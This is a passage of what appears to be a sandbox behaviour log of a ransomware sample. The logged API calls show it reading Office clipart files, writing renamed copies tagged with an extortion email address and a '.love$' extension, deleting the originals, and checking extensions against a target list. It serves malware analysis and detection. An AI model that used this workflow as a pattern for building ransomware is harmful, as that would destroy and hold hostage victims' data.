returned 1 [0234.631] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0234.632] GetLastError () returned 0x0 [0234.632] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1044, lpOverlapped=0x0) returned 1 [0234.635] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1050, lpOverlapped=0x0) returned 1 [0234.636] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.636] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.637] SetEndOfFile (hFile=0x4c4) returned 1 [0234.637] CloseHandle (hObject=0x4c4) returned 1 [0234.637] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.637] SetEndOfFile (hFile=0x480) returned 1 [0234.640] CloseHandle (hObject=0x480) returned 1 [0234.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0234.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.642] lstrlenW (lpString=".doc") returned 4 [0234.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.642] lstrlenW (lpString=".docx") returned 5 [0234.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.642] lstrlenW (lpString=".pdf") returned 4 [0234.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.642] lstrlenW (lpString=".xls") returned 4 [0234.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.642] lstrlenW (lpString=".xlsx") returned 5 [0234.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.642] lstrlenW (lpString=".ppt") returned 4 [0234.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.643] lstrlenW (lpString=".zip") returned 4 [0234.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.643] lstrlenW (lpString=".rar") returned 4 [0234.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.643] lstrlenW (lpString=".bz2") returned 4 [0234.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.643] lstrlenW (lpString=".7z") returned 3 [0234.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.643] lstrlenW (lpString=".dbf") returned 4 [0234.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.643] lstrlenW (lpString=".1cd") returned 4 [0234.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.643] lstrlenW (lpString=".jpg") returned 4 [0234.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.643] lstrlenW (lpString=".doc") returned 4 [0234.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.643] lstrlenW (lpString=".docx") returned 5 [0234.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.643] lstrlenW (lpString=".pdf") returned 4 [0234.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.643] lstrlenW (lpString=".xls") returned 4 [0234.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.644] lstrlenW (lpString=".xlsx") returned 5 [0234.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.644] lstrlenW (lpString=".ppt") returned 4 [0234.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.644] lstrlenW (lpString=".zip") returned 4 [0234.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.644] lstrlenW (lpString=".rar") returned 4 [0234.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.644] lstrlenW (lpString=".bz2") returned 4 [0234.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.644] lstrlenW (lpString=".7z") returned 3 [0234.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.644] lstrlenW (lpString=".dbf") returned 4 [0234.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.644] lstrlenW (lpString=".1cd") returned 4 [0234.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0234.644] lstrlenW (lpString=".jpg") returned 4 [0234.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.644] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.644] lstrlenW (lpString="BL00296_.WMF") returned 12 [0234.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.646] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=812) returned 1 [0234.646] CloseHandle (hObject=0x480) returned 1 [0234.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220 [0234.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.647] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.647] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0234.648] GetLastError () returned 0x0 [0234.648] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x32c, lpOverlapped=0x0) returned 1 [0235.071] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x330, lpOverlapped=0x0) returned 1 [0235.073] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.073] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.073] SetEndOfFile (hFile=0x4c4) returned 1 [0235.074] CloseHandle (hObject=0x4c4) returned 1 [0235.074] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.074] SetEndOfFile (hFile=0x480) returned 1 [0235.078] CloseHandle (hObject=0x480) returned 1 [0235.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0235.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.080] lstrlenW (lpString=".doc") returned 4 [0235.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.080] lstrlenW (lpString=".docx") returned 5 [0235.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.080] lstrlenW (lpString=".pdf") returned 4 [0235.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.080] lstrlenW (lpString=".xls") returned 4 [0235.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.080] lstrlenW (lpString=".xlsx") returned 5 [0235.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.080] lstrlenW (lpString=".ppt") returned 4 [0235.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.080] lstrlenW (lpString=".zip") returned 4 [0235.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.080] lstrlenW (lpString=".rar") returned 4 [0235.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.080] lstrlenW (lpString=".bz2") returned 4 [0235.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.080] lstrlenW (lpString=".7z") returned 3 [0235.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.081] lstrlenW (lpString=".dbf") returned 4 [0235.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.081] lstrlenW (lpString=".1cd") returned 4 [0235.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.081] lstrlenW (lpString=".jpg") returned 4 [0235.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.081] lstrlenW (lpString=".doc") returned 4 [0235.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.081] lstrlenW (lpString=".docx") returned 5 [0235.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.081] lstrlenW (lpString=".pdf") returned 4 [0235.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.081] lstrlenW (lpString=".xls") returned 4 [0235.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.081] lstrlenW (lpString=".xlsx") returned 5 [0235.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.081] lstrlenW (lpString=".ppt") returned 4 [0235.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.081] lstrlenW (lpString=".zip") returned 4 [0235.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.081] lstrlenW (lpString=".rar") returned 4 [0235.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.081] lstrlenW (lpString=".bz2") returned 4 [0235.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.082] lstrlenW (lpString=".7z") returned 3 [0235.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.082] lstrlenW (lpString=".dbf") returned 4 [0235.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.082] lstrlenW (lpString=".1cd") returned 4 [0235.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0235.082] lstrlenW (lpString=".jpg") returned 4 [0235.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.082] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.082] lstrlenW (lpString="BL00648_.WMF") returned 12 [0235.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.083] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11500) returned 1 [0235.083] CloseHandle (hObject=0x480) returned 1 [0235.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0235.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.084] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.084] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0235.085] GetLastError () returned 0x0 [0235.085] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2cec, lpOverlapped=0x0) returned 1 [0235.108] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0235.109] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.109] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.109] SetEndOfFile (hFile=0x4c4) returned 1 [0235.109] CloseHandle (hObject=0x4c4) returned 1 [0235.110] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.110] SetEndOfFile (hFile=0x480) returned 1 [0235.113] CloseHandle (hObject=0x480) returned 1 [0235.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0235.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.114] lstrlenW (lpString=".doc") returned 4 [0235.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.114] lstrlenW (lpString=".docx") returned 5 [0235.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.115] lstrlenW (lpString=".pdf") returned 4 [0235.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.115] lstrlenW (lpString=".xls") returned 4 [0235.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.115] lstrlenW (lpString=".xlsx") returned 5 [0235.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.115] lstrlenW (lpString=".ppt") returned 4 [0235.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.115] lstrlenW (lpString=".zip") returned 4 [0235.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.115] lstrlenW (lpString=".rar") returned 4 [0235.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.115] lstrlenW (lpString=".bz2") returned 4 [0235.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.115] lstrlenW (lpString=".7z") returned 3 [0235.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.115] lstrlenW (lpString=".dbf") returned 4 [0235.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.115] lstrlenW (lpString=".1cd") returned 4 [0235.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.115] lstrlenW (lpString=".jpg") returned 4 [0235.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.116] lstrlenW (lpString=".doc") returned 4 [0235.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.116] lstrlenW (lpString=".docx") returned 5 [0235.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.116] lstrlenW (lpString=".pdf") returned 4 [0235.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.116] lstrlenW (lpString=".xls") returned 4 [0235.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.116] lstrlenW (lpString=".xlsx") returned 5 [0235.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.116] lstrlenW (lpString=".ppt") returned 4 [0235.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.116] lstrlenW (lpString=".zip") returned 4 [0235.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.116] lstrlenW (lpString=".rar") returned 4 [0235.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.116] lstrlenW (lpString=".bz2") returned 4 [0235.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.116] lstrlenW (lpString=".7z") returned 3 [0235.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.116] lstrlenW (lpString=".dbf") returned 4 [0235.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.116] lstrlenW (lpString=".1cd") returned 4 [0235.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0235.116] lstrlenW (lpString=".jpg") returned 4 [0235.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.117] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.117] lstrlenW (lpString="BL00923_.WMF") returned 12 [0235.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.117] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6256) returned 1 [0235.118] CloseHandle (hObject=0x480) returned 1 [0235.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0235.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.118] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.118] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft 